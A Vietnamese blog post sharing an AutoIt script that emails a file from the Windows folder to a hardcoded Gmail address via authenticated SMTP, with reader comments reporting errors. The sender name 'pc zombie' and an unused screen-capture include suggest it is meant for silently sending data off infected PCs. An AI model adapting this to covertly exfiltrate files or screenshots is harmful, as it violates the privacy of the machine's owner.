[AutoIt] Send mail

;##################################
; Include
;##################################
#Include<file.au3>
#Include<array.au3>
#include <ScreenCapture.au3>
;##################################
; Variables
;##################################

Dim $array
$s_SmtpServer = "smtp.gmail.com"                             ; address for the smtp-server to use - REQUIREDhoangtuviolet_1987
$s_FromName = "pc zombie"                           ; name from who the email was sent
$s_FromAddress = "bongma@gmail.com"                 ;  address from where the mail should come virusvn1989
$s_ToAddress = "bongma@gmail.com"           ; destination address of the email - REQUIRED  --> ten nick nguoi nhan
$s_Subject = "day la tieu de"                                      ; subject from the email - can be anything you want it to be
$as_Body = "cai nay la dong thong bao"                                                      ; the messagebody from the mail - can be left blank but then you get a blank mail
$array = @WindowsDir & "\1.jpg"  ; cai nay anh em de gui file nhe
$s_CcAddress = ""                    ; address for cc - leave blank if not needed
$s_BccAddress = ""                   ; address for bcc - leave blank if not needed
$s_Username = "bongma@gmail.com"                        ; username for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$s_Password = "*******"                           ; password for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$IPPort = 465                                       ; port used for sending the mail
$ssl = 1                                                          ; enables/disables secure socket layer sending - put to 1 if using httpS
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $array, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $array = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
 $objEmail = ObjCreate("CDO.Message")
 $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
 $objEmail.To = $s_ToAddress
 Local $i_Error = 0
 Local $i_Error_desciption = ""
 If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
 If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
 $objEmail.Subject = $s_Subject
 If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
 $objEmail.HTMLBody = $as_Body
 Else
 $objEmail.Textbody = $as_Body & @CRLF
 EndIf
 If $array <> "" Then
 ;Local $array = StringSplit($array, ";")
 $array= _PathFull ($array)
 If FileExists($array) Then
 $objEmail.AddAttachment ($array)
 Else
 $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $array
 SetError(1)
 return 0
 EndIf
 EndIf
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
 If $s_Username <> "" Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
 EndIf
 If $Ssl Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
 EndIf
;Update settings
 $objEmail.Configuration.Fields.Update
; Sent the Message
 $objEmail.Send
 if @error then
 SetError(2)
 return $oMyRet[1]
 EndIf
EndFunc ;==>_INetSmtpMailCom
; Com Error Handler
Func MyErrFunc()
 $HexNumber = Hex($oMyError.number, 8)
 $oMyRet[0] = $HexNumber
 $oMyRet[1] = StringStripWS($oMyError.description,3)
 ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
 SetError(1); something to check for when this function returns
 Return
EndFunc ;==>MyErrFunc

Popularity: 41% [?]


    • John
    • Tháng Sáu 10th, 2009

    convey 0
    chỗ này bị lỗi :(

  1. Tớ chẳng hiểu cái plugin gì trên WP tự động edit mấy cái từ trên này nữa.

    • MJ
    • Tháng Bảy 6th, 2009

    cái này bị lỗi hả choy` sao tui run hok đc fix lại đi thanks nhìu chừng nào fix xong send mail cho tui nha :) thanks ông !!

  1. No trackbacks yet.

Chọn kiểu gõ: Tự động TELEX VNI Tắt

Bad Behavior has blocked 47 access attempts in the last 7 days.